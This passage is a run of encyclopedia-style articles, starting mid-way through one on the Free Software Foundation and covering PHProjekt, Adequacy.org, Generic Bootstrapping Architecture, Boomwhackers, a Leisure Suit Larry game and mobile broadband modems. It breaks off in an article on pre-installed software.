In December 2008, FSF filed a lawsuit against Cisco for using GPL-licensed components shipped with Linksys products. Cisco was notified of the licensing issue in 2003 but Cisco repeatedly disregarded its obligations under the GPL. In May 2009, FSF dropped the lawsuit when Cisco agreed to make a monetary donation to the FSF and appoint a Free Software Director to conduct continuous reviews of the company's license compliance practices.
In September 2019, Richard Stallman resigned as president of the FSF after pressure from journalists and members of the open source community in response to him making controversial comments in defense of then-deceased Marvin Minsky on Jeffrey Epstein's sex trafficking scandal. Nevertheless, Stallman remained head of the GNU Project and in 2021, he returned to the FSF board of directors.
Current and ongoing activities
The GNU Project
The original purpose of the FSF was to promote the ideals of free software. The organization developed the GNU operating system as an example of this.
GNU licenses
The GNU General Public License (GPL) is a widely used license for free software projects. The current version (version 3) was released in June 2007. The FSF has also published the GNU Lesser General Public License (LGPL), the GNU Free Documentation License (GFDL), and the GNU Affero General Public License (AGPL).
GNU Press
The FSF's publishing department, responsible for "publishing affordable books on computer science using freely distributable licenses."
The Free Software Directory
This is a listing of software packages that have been verified as free software. Each package entry contains up to 47 pieces of information such as the project's homepage, developers, programming language, etc. The goals are to provide a search engine for free software, and to provide a cross-reference for users to check if a package has been verified as being free software. FSF has received a small amount of funding from UNESCO for this project.
Maintaining the Free Software Definition
FSF maintains many of the documents that define the free software movement.
Project hosting
FSF hosts software development projects on its Savannah website.
h-node
An abbreviation for "Hardware-Node", the h-node website lists hardware and device drivers that have been verified as compatible with free software. It is user-edited and volunteer supported with hardware entries tested by users before publication.
Advocacy
FSF sponsors a number of campaigns against what it perceives as dangers to software freedom, including software patents, digital rights management (which the FSF and others have re-termed "digital restrictions management", as part of its effort to highlight technologies that are "designed to take away and limit your rights,") and user interface copyright. Defective by Design is an FSF-initiated campaign against DRM. It also has a campaign to promote Ogg+Vorbis, a free alternative to proprietary formats like AAC and MQA. FSF also sponsors free software projects it deems "high-priority".
Annual awards
"Award for the Advancement of Free Software" and "Free Software Award for Projects of Social Benefit"
LibrePlanet wiki
The LibrePlanet wiki organizes FSF members into regional groups in order to promote free software activism against Digital Restrictions Management and other issues promoted by the FSF.
High priority projects
The FSF maintains a list of "high priority projects" to which the Foundation claims that "there is a vital need to draw the free software community's attention". The FSF considers these projects "important because computer users are continually being seduced into using non-free software, because there is no adequate free replacement."
As of 2021, high priority tasks include reverse engineering proprietary firmware; reversible debugging in GNU Debugger; developing automatic transcription and video editing software, Coreboot, drivers for network routers, a free smartphone operating system and creating replacements for Skype and Siri.
Previous projects highlighted as needing work included the Free Java implementations, GNU Classpath, and GNU Compiler for Java, which ensure compatibility for the Java part of OpenOffice.org, and the GNOME desktop environment (see Java: Licensing).
The effort has been criticized by Michael Larabel for either not instigating active development or for being slow at the work being done, even after certain projects were added to the list.
Endorsements
Operating systems
The FSF maintains a list of approved Linux operating systems that maintain free software by default:
Dragora GNU/Linux-Libre
dyne:bolic
GNU Guix System
Hyperbola GNU/Linux-libre
Parabola GNU/Linux-libre
PureOS
Trisquel
Ututo
LibreCMC
ProteanOS
The project also maintains a list of operating systems that are not versions of the GNU system:
Replicant
Discontinued operating systems
The following are previously endorsed operating systems that are no longer actively maintained:
gNewSense
BLAG Linux and GNU
Musix GNU+Linux
Hardware endorsements (RYF)
The FSF maintains a "Respects Your Freedom" (RYF) hardware certification program. To be granted certification, a product must use 100% Free Software, allow user installation of modified software, be free of backdoors and conform with several other requirements.
Structure
Board
John Sullivan is the current FSF executive director. Previous members that occupied the position were Peter T. Brown (2005–2010) and Bradley M. Kuhn (2001–2005).
The FSF's board of governors includes amongst themselves professors at leading universities, senior engineers, and founders. Current board members are:
Geoffrey Knauth, senior software engineer at SFA, Inc. (served since October 23, 1997)
Henry Poole, founder of CivicActions, a government digital services firm (served since December 12, 2002)
Gerald Jay Sussman, professor of computer science at the Massachusetts Institute of Technology (served since inception)
Ian Kelling, Senior Systems Administrator at the FSF and the staff representative on the board.
Odile Bénassy, research engineer at the Paris-sud university computer science research
Richard Stallman, founder, launched the GNU project, author of the GNU General Public License.
Previous board members include:
Alexander Oliva, Vice President (served since August 28, 2019)
Hal Abelson, founding member, professor of computer science at the Massachusetts Institute of Technology (served from inception until March 5, 1998, and rejoined circa 2005)
Robert J. Chassell, founding treasurer, as well as a founding director (served from inception until June 3, 1997)
Miguel de Icaza (served from August 1999 until February 25, 2002)
Benjamin Mako Hill, assistant professor at the University of Washington (served from July 25, 2007 until October 2019)
Matthew Garrett, software developer (served since October 16, 2014)
Bradley Kuhn, executive director of the Software Freedom Conservancy and FSF's former executive director (served from March 25, 2010 to Oct 13, 2019)
Lawrence Lessig, professor of law at Stanford University (served from March 28, 2004 until 2008)
Eben Moglen (served from July 28, 2000 until 2007)
Len Tower Jr., founding member, (served until September 2, 1997)
Kat Walsh, copyright and technology attorney, free culture and free software advocate, and former chair of the Wikimedia Foundation. She joined the board in 2015. She voted against the readmittance of Richard Stallman to the board and, on March 25, 2021, resigned in protest of his return.
Voting
The FSF Articles of Organization state that the board of directors are elected.
The bylaws say who can vote for them.
The board can grant powers to the Voting Membership.
Employment
At any given time, there are usually around a dozen employees. Most, but not all, work at the FSF headquarters in Boston, Massachusetts.
Membership
On November 25, 2002, the FSF launched the FSF Associate Membership program for individuals. Bradley M. Kuhn (FSF executive director, 2001–2005) launched the program and also signed up as the first Associate Member
Associate members hold a purely honorary and funding support role to the FSF.
Legal
Eben Moglen and Dan Ravicher previously served individually as pro bono legal counsel to the FSF. After forming the Software Freedom Law Center, Eben Moglen continued to serve as the FSF's general counsel until 2016.
Financial
Most of the FSF funding comes from patrons and members. Revenue streams also come from free-software-related compliance labs, job postings, published works, and a web store. FSF offers speakers and seminars for pay, and all FSF projects accept donations.
Revenues fund free-software programs and campaigns, while cash is invested conservatively in socially responsible investing. The financial strategy is designed to maintain the Foundation's long-term future through economic stability.
The FSF is a tax-exempt organization and posts annual IRS Form 990 filings online.
Criticism
Position on DRM
Linus Torvalds has criticized FSF for using GPLv3 as a weapon in the fight against DRM. Torvalds argues that the issue of DRM and that of a software license should be treated as two separate issues.
Defective by Design campaign
On June 16, 2010, Joe Brockmeier, a journalist at Linux Magazine, criticized the Defective by Design campaign by the FSF as "negative" and "juvenile" and not being adequate for providing users with "credible alternatives" to proprietary software. FSF responded to this criticism by saying "that there is a fundamental difference between speaking out against policies or actions and smear campaigns", and "that if one is taking an ethical position, it is justified, and often necessary, to not only speak about the benefits of freedom but against acts of dispossession and disenfranchisement."
GNU LibreDWG license controversy
In 2009, a license update of LibDWG/LibreDWG to the version 3 of the GNU GPL, made it impossible for the free software projects LibreCAD and FreeCAD to use LibreDWG legally. Many projects voiced their unhappiness about the GPLv3 license selection for LibreDWG, such as FreeCAD, LibreCAD, Assimp, and Blender. Some suggested the selection of a license with a broader license compatibility, for instance the MIT, BSD, or LGPL 2.1. A request went to the FSF to relicense GNU LibreDWG as GPLv2, which was rejected in 2012.
The libDWG has stalled since 2011 for various reasons, including license issues.
Last commit to libDWG was in 2015.
LibreDWG is actively developed.
Accusations against Richard Stallman
Stallman resigned from the board in 2019 after making controversial comments about one of the victims of Jeffrey Epstein, but Stallman rejoined the board 18 months later. Several prominent organizations and individuals who develop free software objected to the decision, citing past writings on Stallman's blog which they considered antithetical to promoting a diverse community. As a result of Stallman's reinstatement, prominent members of the Free Software Foundation quit in protest and the major benefactor Red Hat announced that it would stop funding and supporting the Free Software Foundation.
Recognition
Key players and industries that have made honorific mention and awards include:
2001: GNU Project received the USENIX Lifetime Achievement Award for "the ubiquity, breadth, and quality of its freely available redistributable and modifiable software, which has enabled a generation of research and commercial development".
2005: Prix Ars Electronica Award of Distinction in the category of "Digital Communities"
See also
Defective by Design
Digital rights
Electronic Frontier Foundation
Free software movement
Free Software Foundation Europe
Free Software Foundation Latin America
Free Software Foundation of India
Hardware restrictions
League for Programming Freedom
LibrePlanet
Notes
References
External links
LibrePlanet
1985 establishments in Massachusetts
501(c)(3) organizations
Charities based in Massachusetts
Digital rights organizations
Educational charities based in the United States
Free and open-source software organizations
Free software movement
Intellectual property activism
Non-profit organizations based in Boston
Non-profit technology
Organizations based in Boston
Organizations established in 1985
Science and technology think tanks
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28259373
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https://en.wikipedia.org/wiki/PHProjekt
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PHProjekt
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PHProjekt is a free groupware and project management web application written in PHP. It was created in the late 1990s by Albrecht Günther; since early 2006, Mayflower GmbH develops and supports PHProjekt along with Günther.
PHProjekt is the only Free software project management software included in the SimpleScripts script installer, and one of two included in the Fantastico script installer (along with dotProject). The software's functionality can be expanded through various add-on packages (including one for synchronization with Microsoft Outlook). PHProjekt is available in several languages.
After releasing version 6.2.1, Mayflower GmbH announced they will not continue the development of PHProjekt.
Modules
Overview
Calendar
Contacts
Chat
Forum
Files
Projects
Time card
Notes
Helpdesk
Mail
Tasks
Bookmark
Survey System
See also
Project management software
List of project management software
Notes
External links
Unofficial PHProjekt mailing list
Project management software
Free software programmed in PHP
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6809626
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https://en.wikipedia.org/wiki/Adequacy.org
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Adequacy.org
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Adequacy.org was a satirical web site. It featured articles on politics, religion, technology, history, and sociology, as well as the "Linux Zealot" cartoon series. The site shut down on September 11, 2002, but has since made its archives available.
Adequacy.org's slogan was "News for grown-ups," a play on the slogan of the popular Slashdot technology news site, "News for nerds. Stuff that matters," as an Adequacy's founding editor claimed to have been a regular troll on Slashdot.
Background
The Adequacy authors began as trolls on Slashdot and Kuro5hin, other technology-oriented discussion sites. They devised and posted many comments designed to provoke outraged responses; common styles included slighting a revered operating system or open source leader, or posting messages with simple but deliberate technical errors, which would incite hundreds of corrections.
After several years of such behavior, the Adequacy authors decided to open their own site consisting entirely of such articles intended to incite the reader, where users "in the know" would post comments agreeing with the articles.
Behind the scenes, the targets of the articles would be enticed to come to Adequacy and read the article. Adequacy members would post to weblogs, and other discussion forums, often pretending to be outraged by the article themselves. As an example, the article Not Just Harmless Fun, which argues that all anime is hentai and is designed to destroy Christian morals, was promoted on Usenet as such: "the author is some kind of Christian lunatic who believes that anime is all about paedophilia!". The person behind this Usenet posting was James "spiralx" Skinner, also known as "Jon Erikson", the author of the article in question. He later stated, "I wrote the article to wind up anime-loving geeks."
Adequacy style
A popular device used in Adequacy articles was to hyperlink almost every word or phrase to another article on the Internet, related to the specific word or phrase linked, often humorously, but meaningless in the context of the article. Confined perspectives concerning subjects such as the British Empire were openly mocked; or the sentence "we survived a hardy winter" might have the word "hardy" linked to an article on Laurel and Hardy. Adequacy would also occasionally hyperlink to itself using words like "controversy" or phrases such as "the world's most controversial web site".
Adequacy would often deliberately misspell the targets of its satire. For example, Linux was always written as "Lunix", which has connotations of "lunatics" (although this spelling was already widely used in humorous contexts elsewhere, notably by Jeff K). Linus Torvalds was written as either "Linux Torvalds", "Lunix Torvaldez" or "Linyos Torovoltos", and claimed to be a native of various countries, most often Russia. There were also technological in-jokes such as the idea of "IP Tokens" which could be stolen by hackers and used for nefarious purposes if you didn't have the correct protection mechanisms. This predated genuine "your computer is broadcasting an IP address!" web adverts which try to scare people into buying firewalls.
Many respondents to Adequacy used the point by point rebuttal format for raising their objections. For a brief period, Adequacy responded to such comments by removing them from public view and replacing them with a "Deletion Notice", which contained only their consequently incoherent responses, together with a copyright violation notice, chastising the poster for reproducing the entirety of the contested article without the author's permission. This was termed a "War on Copyright Violation", perhaps as a satirical reference to the War on Drugs or War on Terrorism.
Notable stories
As was the case for many humor-oriented Web sites, the mood on Adequacy was considerably more somber in the immediate aftermath of the September 11, 2001 terrorist attacks in New York City and Washington, DC. Consequently, Adequacy published many "straight" stories related to the attacks. One of the earliest satires of the global terrorism phenomenon to appear on the Internet, John Montoya's "Why The Bombings Mean That We Must Support My Politics", actually ridiculed the politicians and pundits who used the attacks as a platform to advance their particular views. Although the story contained no specific names, it was intended as a response to technology evangelist Eric S. Raymond, who had opined on the evening following the attacks that armed civilians on the airliners could have averted the attacks and that the "lawmakers who disarmed all the non-terrorists on those four airplanes" were in part responsible for them. Raymond's comments, published mere hours after the attacks had taken place, generated widespread outrage, even among those who otherwise supported his role as an open source spokesman.
The Adequacy story, which was initially published on September 12, was its most popular post-9/11 story and was eventually syndicated by AlterNet on October 2, 2001, causing it to be mentioned by a number of online news and discussion sites. The piece was also mentioned in The Industry Standard, wherein commentator Keith Dawson referred to it as "a brilliant height of satire".
In a return to more traditional fare, Adequacy used the October 2001 anthrax attacks against U.S. politicians and media figures as an occasion to petition the thrash metal band Anthrax to change their name. (The suggested replacement chosen by readers was "Basket Full Of Puppies".) The posted story implied that the band was engaged in "tasteless, juvenile antics" and that their name had been recently chosen in order to capitalize on the media coverage of the attacks. This prompted an angry response from Scott Ian, the band's rhythm guitarist:
Some asshole from something called the Adequacy Org. e-mailed us demanding that we change our name. The guy is clueless. He talks about our new album called Spreading The Disease, calls us Grind Core, Death Metal and Speed Metal. He thinks we named the band last week to 'take advantage of this horrific situation.' Last week.....twenty years ago....... No big difference there. What a jackass.
Adequacy first gained widespread Internet notoriety after the December 2, 2001 publication of a story entitled "Is Your Son a Computer Hacker?" The story was engineered to raise the hackles of as wide a swath of the Internet geek community as possible; it lampooned such topics as the Linux operating system, processors from Advanced Micro Devices, online gaming, and rave culture. Furor over the story spread quickly through technology / gaming blogs and Usenet newsgroups , and visitors came to the site in droves to express their opinions. The story received an official count of 5,913 individual comments, not including several thousand more that were hidden by the Adequacy editors. This figure even exceeds the record of the much more heavily visited Slashdot, which (as of November 21, 2006) stands at 5,687 replies to the story "Kerry Concedes Election to Bush".
The publicity of the hacker story reached its highest point on January 7, 2002, when Adequacy was featured as the "Site of the Night" on the TechTV television program The Screen Savers. Hosts Leo Laporte and Martin Sargent discussed the "warning signs" enumerated in the article individually, and while Laporte seemed inclined to believe that the article was a joke, neither was ultimately sure of what to make of it. "Is this a joke?" asked Laporte incredulously, to which Sargent replied "Do you think? I don't know. I can't tell."
On October 23, 2001, Adequacy published an interview with actor Wil Wheaton which consisted mostly of questions poking fun of his stint as Wesley Crusher on the television program Star Trek: The Next Generation. Wheaton, being familiar with the nature of the site, was willing to "play along" and provide the outrageous questions with equally outrageous answers. However, many of the readers of his own blog were not familiar with Adequacy and were dismayed over the answers that he had provided; Wheaton later expressed regret for doing the interview.
In April 2002, ex-stripper and Playboy model Koleen Brooks made national news when the voters of the town of Georgetown, Colorado voted to recall her from her position as the town's mayor, citing conduct "unbecoming an elected official". Brooks granted an interview with Adequacy wherein she discussed her performance as mayor and the circumstances surrounding her recall.
See also
List of satirical news websites
References
External links
Adequacy.org archives
Adequacy "Computer Hacker" article being discussed on The Screen Savers
Internet properties established in 2001
Internet properties disestablished in 2002
Defunct websites
American comedy websites
Internet trolling
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14447758
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https://en.wikipedia.org/wiki/Generic%20Bootstrapping%20Architecture
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Generic Bootstrapping Architecture
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Generic Bootstrapping Architecture (GBA) is a technology that enables the authentication of a user. This authentication is possible if the user owns a valid identity on an HLR (Home Location Register) or on an HSS (Home Subscriber Server).
GBA is standardized at the 3GPP (http://www.3gpp.org/ftp/Specs/html-info/33220.htm). The user authentication is instantiated by a shared secret, one in the smartcard, for example a SIM card inside the mobile phone and the other is on the HLR/HSS.
GBA authenticates by making a network component challenge the smartcard and verify that the answer is the one predicted by the HLR/HSS.
Instead of asking the service provider to trust the BSF and relying on it for every authentication request, the BSF establishes a shared secret between the simcard card and the service provider. This shared secret is limited in time and for a specific domain.
Strong points
This solution has some strong points of certificate and shared secrets without having some of their weaknesses:
- There is no need for user enrollment phase nor secure deployment of keys, making this solution a very low cost one when compared to PKI.
- Another advantage is the ease with which the authentication method may be integrated into terminals and service providers, as it is based on HTTP's well known "Digest access authentication". Every Web server already implement HTTP digest authentication and the effort to implement GBA on top of digest authentication is minimal. For example, it could be implemented on SimpleSAMLPhP http://rnd.feide.no/simplesamlphp with 500 PHP lines of code and only a few tens of lines of code are Service Provider specific making it really easy to port it to another Web site.
- On device side is needed:
A Web browser (in fact an HTTP client) implementing digest authentication and the special case designed by a "3gpp" string in the HTTP header.
A means to dialog with a smartcard and signed the challenge sent by the BSF, either Bluetooth SAP or a Java or native application could be used to serve the request coming from the browser.
Technical overview
Actually, contents in this section are from external literature.
There are two ways to use GAA (Generic Authentication Architecture).
The first, GBA, is based on a shared secret between the client and server
The second, SSC, is based on public-private key pairs and digital certificates.
In the shared secret cases, the customer and the operator are first mutually authenticated through 3G and Authentication Key (AKA) and they agree on session keys which can then be used between the client and services that the customer wants to use.
This is called bootstrapping.
After that, the services can retrieve the session keys from the operator, and they can be used in some application specific protocol between the client and services.
Figure above shows the network GAA entities and interfaces between them. Optional entities are drawn with lines
network and borders dotted the scoreboard. The User Equipment (UE) is, for example, the user's mobile phone. The UE and
Bootstrapping Server Function (BSF) mutually authenticate themselves during the Ub (number [2] above) interface, using the Digest access authentication AKA protocol. The UE also communicates with the Network Application Functions (NAF), which are the implementation servers, over the Ua [4] interface, which can use any specific application protocol necessary.
BSF retrieves data from the subscriber from the Home Subscriber Server (HSS) during the Zh [3] interface, which uses the
Diameter Base Protocol. If there are several HSS in the network, BSF must first know which one to use. This can be done by either setting up a pre-defined HSS to BSF, or by querying the Subscriber Locator Function (SLF).
NAFs recover the key session of BSF during the Zn [5] interface, which also uses the diameter at the base Protocol. If
NAF is not in the home network, it must use a Zn-proxy to contact BSF .
Uses
The SPICE project developed an extended Use Case named "split terminal" where a user on a PC can authenticate with their mobile phone: http://www.ist-spice.org/demos/demo3.htm. The NAF was developed on SimpleSAMLPhP and a Firefox extension was developed to process the GBA digest authencation request from the BSF. Bluetooth SIM Access Profile was used between the Firefox browser and the mobile phone. Later a partner developed a "zero installation" concept.
The research institute Fraunhofer FOKUS developed an OpenID extension for Firefox which uses GBA authentication.Presentation at ICIN 2008 by Peter Weik
The Open Mobile Terminal Platform http://www.omtp.org references GBA in its Advanced Trusted Environment: OMTP TR1 recommendation, first released in May 2008.
Sadly, despite many advantages and potential uses of GBA, its implementation in handsets has been limited since GBA standardization in 2006. Most notably, GBA was implemented in Symbian-based handsets.
References
Cryptographic protocols
Mobile technology
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1279212
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https://en.wikipedia.org/wiki/Boomwhacker
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Boomwhacker
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A Boomwhacker is a musical instrument in the idiophone percussion family. They are lightweight, hollow, color-coded, plastic tubes, tuned to a musical pitch by length. They were first produced by Craig Ramsell through his company Whacky Music in 1995.
History
Boomwhackers evolved at a time when junk bands and performers using instruments made from recycled materials were popular. Bands often used gas pipes or various cast-offs from plumbers were cut to length to produce different pitches when struck on an open end. Schools, meanwhile, created their own junk bands as a cheap way to simultaneously promote creativity and encourage recycling. However, creating a custom kit was labor-intensive, leaving a niche for Boomwhackers, which are premade and mass-produced.
American Craig Ramsell reportedly came up with the idea for his Boomwhackers in 1994 while at home recovering from radiation therapy. While cutting cardboard tubes into shorter lengths for recycling, he noticed the different pitches resulting from the different lengths and decided to investigate their creative potential. He experimented with various plastics before settling on plastic mailing tubes. He and his wife, Monnie Ramsell, formed DrumSpirit as a sole proprietorship to market the tubes. The original plastic Boomwhackers were first produced in 1995. The current, more durable version was released in 1997.
Ramsell then started Whacky Music, Inc. in 1998, marketing a wider variety of Boomwhacker sets and materials. Boomwhackers are now available to span 3½ chromatic octaves. (The addition of the Octavator Tube Caps in 1999 allowed for the third lower octave.)
In July 2009, the Sedona, Arizona-based Whacky Music, Inc., sold its interests to Rhythm Band Instruments LLC of Fort Worth, Texas, through an asset purchase agreement. Boomwhackers are made in the USA and distributed internationally by Rhythm Band Instruments. Boomwhackers are a registered trademark owned by Rhythm Band Instruments, Fort Worth, TX.
Sound production
Boomwhackers produce musical tones through vibrations in the instrument when struck. The pitch of the instrument is determined through the length of the tube. The longer a tube is, the lower its pitch; the shorter a tube is, the higher the pitch. When one end of a Boomwhackers tube is covered with what the manufacturer calls an "Octavator Cap", the pitch it produces is lowered by an octave. They are most commonly hit with a hand, against the floor, or on other parts of the human body. They can also be grouped together and struck with mallets in different configurations using specialized holders (either homemade or available from the manufacturer), similar to a horizontally-aligned xylophone.
Usage
Boomwhackers are most commonly used in elementary music classrooms as an inexpensive alternative or supplement to traditional pitched instruments such as xylophones and metallophones. Students are usually given a distinctly pitched tube, such as F# or A. Educators then instruct players of certain pitches to strike the Boomwhacker at a precise time, forming a melody. Boomwhackers are often used by performance artists and other musical performance groups to add an element of spectacle. They can also be used by people with intellectual and developmental impairment to develop sensorimotor skills, social skills, and creativity.
References
Martin J. Junker (2003): Tubular Music – Übungs- und Vortragsstücke für Boomwhacker-Ensemble. Fidula, Germany
External links
Official Boomwhackers Website
Video introduction to Boomwhackers
The one-minute Boomwhacker piece
Beats for a Cause
Performance of Bach’s Prelude No. 1 using only Boomwhackers
Idiophones struck directly
Hand percussion
Mallet percussion
Keyboard percussion
Percussion instruments invented since 1800
North American percussion instruments
Pitched percussion
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65940834
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https://en.wikipedia.org/wiki/Leisure%20Suit%20Larry%3A%20Wet%20Dreams%20Dry%20Twice
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Leisure Suit Larry: Wet Dreams Dry Twice
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Leisure Suit Larry: Wet Dreams Dry Twice is an adventure video game developed by German studio CrazyBunch and published by Assemble Entertainment for Microsoft Windows, macOS, Nintendo Switch, PlayStation 4 and Xbox One as the latest entry in the Leisure Suit Larry series to feature Larry Laffer as the main protagonist. The game is a direct sequel to Leisure Suit Larry: Wet Dreams Don't Dry and follows Larry as he attempts to reunite with Faith, the woman he fell in love with and lost during Wet Dreams Don't Dry. The Microsoft Windows and macOS version was released on October 23, 2020, and the Nintendo Switch, PlayStation 4 and Xbox One versions were released on May 18, 2021.
Plot
Following the events of Wet Dreams Don't Dry, Larry is stranded in Cancúm and being forced to marry the chief's daughter. However, Larry still mourns for and misses Faith, who was last seen drifting out to sea. Larry realizes that Faith is his true love, and he must find her at any cost and make amends for the mistakes he made with her in Wet Dreams Don't Dry. He escapes Cancúm and becomes shipwrecked in the Kalau’a archipelago. With the help of his PiPhone and its artificial intelligence, Pi, Larry explores the islands of the archipelago. He learns that Faith was seen in the area, and as he follows her path through a series of quests, he discovers that she is now the leader of a cannibalistic tribe of women who eat men, and that she has lost her memory. Larry then goes on further quests around the islands to restore Faith's memory. Meanwhile, Prune's new CEO Mr. Wang and his assistant Nari also want to find Faith, as she was working on a self-learning algorithm that Wang wants to incorporate into a new android, the PiBot, for his own nefarious means. Pi discovers Faith's algorithm and it slowly starts to incorporate itself into Pi.
Faith reveals that she has not lost her memory, but instead wanted to avoid Larry due to his previous actions. Larry convinces Faith that he truly loves her, but they are captured by Wang. Pi gets uploaded into the prototype PiBot which turns on Wang and kills him. As the PiBot, Pi realizes that she has romantic feelings for Larry, and she traps him inside of a virtual reality world resembling an early 8-bit Larry video game where his everyday dreams come true with the events of each day repeating over and over, and he is married to Pi who now calls herself Piper. Faith helps Larry to escape the virtual world and Piper is shut down for good. Faith and Larry return to Cancúm and get married.
Production
Wet Dreams Dry Twice was initially stated for launch on Windows PC and macOS on October 15, 2020, but was postponed until October 23 for unknown reasons.
Reception
Leisure Suit Larry: Wet Dreams Dry Twice received mixed reviews. As of March 2021, the PC version has a score of 73% on Metacritic based on 12 reviews indicating "mixed or average reviews". Antal Bokor with Third Coast Reviews commented in his review "Leisure Suit Larry: Wet Dreams Dry Twice is a good adventure game. It's not really very funny to me—but its constant stream of sex jokes didn't get tiresome, either. I imagine it's the same sort of desensitization that happens to those who work in shops that sell pornography and sex toys—and it's exactly that desensitization that makes the humor fall a little flat." Catherine Dellosa with TechRaptor rated the game a 6.5 out of 10 and ended her review stating "if you're looking to immerse yourself in the whole Larry Laffer experience, it's not going to be as wild as you might think. But if you're just here to play a colorful point-and-click game that doesn't take itself too seriously, then it's a great way to pass the time when you want to take a quick break from the other games in your to-be-played pile."
References
External links
2020 video games
Leisure Suit Larry games
MacOS games
Nintendo Switch games
PlayStation 4 games
Point-and-click adventure games
Single-player video games
Video games developed in Germany
Video game sequels
Windows games
Xbox One games
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27350573
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https://en.wikipedia.org/wiki/Mobile%20broadband%20modem
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Mobile broadband modem
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A mobile broadband modem, also known as wireless modem or cellular modem, is a type of modem that allows a personal computer or a router to receive wireless Internet access via a mobile broadband connection instead of using telephone or cable television lines. A mobile Internet user can connect using a wireless modem to a wireless Internet Service Provider (ISP) to get Internet access.
History
1G and 2G
While some analogue mobile phones provided a standard RJ11 telephone socket into which a normal landline modem could be plugged, this only provided slow dial-up connections, usually 2.4 kilobit per second (kbit/s) or less. The next generation of phones, known as 2G (for 'second generation'), were digital, and offered faster dial-up speeds of 9.6kbit/s or 14.4kbit/s without the need for a separate modem. A further evolution called HSCSD used multiple GSM channels (two or three in each direction) to support up to 43.2kbit/s. All of these technologies still required their users to have a dial-up ISP to connect to and provide the Internet access - it was not provided by the mobile phone network itself.
The release of 2.5G phones with support for packet data changed this. The 2.5G networks break both digital voice and data into small chunks, and mix both onto the network simultaneously in a process called packet switching. This allows the phone to have a voice connection and a data connection at the same time, rather than a single channel that has to be used for one or the other. The network can link the data connection into a company network, but for most users the connection is to the Internet. This allows web browsing on the phone, but a PC can also tap into this service if it connects to the phone. The PC needs to send a special telephone number to the phone to get access to the packet data connection. From the PC's viewpoint, the connection still looks like a normal PPP dial-up link, but it is all terminating on the phone, which then handles the exchange of data with the network. Speeds on 2.5G networks are usually in the 30–50kbit/s range.
3G
3G networks have taken this approach to a higher level, using different underlying technology but the same principles. They routinely provide speeds over 300kbit/s. Due to the now increased internet speed, internet connection sharing via WLAN has become a workable reality. Devices which allow internet connection sharing or other types of routing on cellular networks are called also cellular routers.
A further evolution is the 3.5G technology HSDPA, which provides speeds of multiple Megabits per second. Several of the mobile network operators that provide 3G or faster wireless internet access offer plans and wireless modems that enable computers to connect to and access the internet. These wireless modems are typically in the form of a small USB based device or a small, portable mobile hotspot that acts as a WiFi access point (hotspot) to enable multiple devices to connect to the internet. WiMAX based services that provide high speed wireless internet access are available in some countries and also rely on wireless modems that connect to the provider's wireless network. Wireless USB modems are nicknamed as "dongles".
Early 3G mobile broadband modems used the PCMCIA or ExpressCard ports, commonly found on legacy laptops. The expression "connect card" (instead of connection card) had been registered and used the first time by Vodafone as brand for its products but now is become a brandnomer or genericized trademark used in colloquial or commercial speech for similar product, made by different manufacturers, too. Major producers are Huawei, Option N.V., Novatel Wireless. More recently, the expression "connect card" is also used to identify internet USB keys. Vodafone brands this type of device as a Vodem.
Often a mobile network operator will supply a 'locked' modem or other wireless device that can only be used on their network. It is possible to use online unlocking services that will remove the 'lock' so the device accepts SIM cards from any network.
Variants
Standalone
Standalone mobile broadband modems are designed to be connected directly to one computer. In the past the PCMCIA and ExpressCard standards were used to connect to the computer. As USB connectivity became almost universal, these various standards were largely superseded by USB modems in the early 21st century. Some models have GPS support, providing geographical location information.
Integrated router
Many mobile broadband modems sold nowadays also have built-in routing capabilities. They provide traditional networking interfaces such as Ethernet, USB and Wi-Fi.
Smartphones and tethering
Numerous smartphones support the Hayes command set and therefore can be used as a mobile broadband modem. Some mobile network operators charge a fee for this facility, if able to detect the tethering. Other networks have an allowance for full speed mobile broadband access, which—if exceeded—can result in overage charges or slower speeds.
An Internet-accessing smartphone may have the same capabilities as a standalone modem, and, when connected via a USB cable to a computer, can serve as a modem for the computer. Smartphones with built-in Wi-Fi also typically provide routing and wireless access point facilities. This method of connecting is commonly referred to as "tethering."
Service providers
There are competing common carriers broadcasting signal in most countries.
Technologies
CDMA2000 (3G)
CDPD
EDGE
EVDO (3G, although could be considered to be 3.5G due to its peak bandwidth)
DC-HSPA+
GPRS Core Network
GPRS (2.5G)
HiperMAN (pre-4G)
HSDPA (3.5G)
HSPA+ 3.75G
iBurst (pre-4G)
IP Multimedia Subsystem
LTE (4G)
LTE Advanced (4G)
UMTS (3G)
WiBro (pre-4G)
WiMAX (pre-4G)
Device driver switching
Mobile broadband modems often use a virtual CD-ROM switching utility and have the device drivers on board. Those modems have two modes, a USB flash drive mode and in the other mode they are a modem. Via the USB Protocol.
See also
Access Point Name
Dongle
EVDO
Laptop
MiFi
Mobile broadband
Netbook
Smartphones
Terminal node controller
Tethering
References
External links
Broadband
ExpressCards
Modem
Modems
PCMCIA
ja:モデム#無線モデム
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23614718
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https://en.wikipedia.org/wiki/Pre-installed%20software
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Pre-installed software
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Pre-installed software (also known as bundled software) is software already installed and licensed on a computer or smartphone bought from an original equipment manufacturer (OEM). The operating system is usually factory-installed, but because it is a general requirement, this term is used for additional software apart from the bare necessary amount, usually from other sources (or the operating system vendor).
Unwanted factory-installed software (also known as crapware or bloatware) can include major security vulnerabilities, like Superfish, which installs a root certificate to inject advertising into encrypted Google search pages, but leaves computers vulnerable to serious cyberattacks that breach the security used in banking and finance websites.
Some "free download" websites use unwanted software bundling that similarly installs unwanted software.
Unwanted software
Often new PCs come with factory-installed software which the manufacturer was paid to include, but is of dubious value to the purchaser. Most of these programs are included without the user's knowledge, and have no instructions on how to opt-out or remove them.
A Microsoft executive mentioned that within the company these applications were dubbed craplets (a portmanteau of crap and applet). He suggested that the experience of people buying a new Windows computer can be damaged by poorly designed, uncertified third-party applications installed by vendors. He stated that the antitrust case against Microsoft prevented the company from stopping the pre-installation of these programs by OEMs. Walt Mossberg, technology columnist for The Wall Street Journal, condemned "craplets" in two columns published in April 2007, and suggested several possible strategies for removing them.
The bundling of these unwanted applications is often performed in exchange for financial compensation, paid to the OEM by the application's publisher. At the 2007 Consumer Electronics Show, Dell defended this practice, stating that it keeps costs down, and implying that systems might cost significantly more to the end user if these programs were not factory-installed. Some system vendors and retailers will offer, for an additional charge, to remove unwanted factory-installed software from a newly purchased computer; retailers, in particular, will tout this service as a "performance improvement." In 2008, Sony Corporation announced a plan to charge end users US$50 for the service; Sony subsequently decided to drop the charge for this service and offer it for free after many users expressed outrage. Microsoft Store similarly offers a range of "Signature Edition" computers sold in a similar state, as well as extended warranty and support packages through Microsoft.
On smartphones
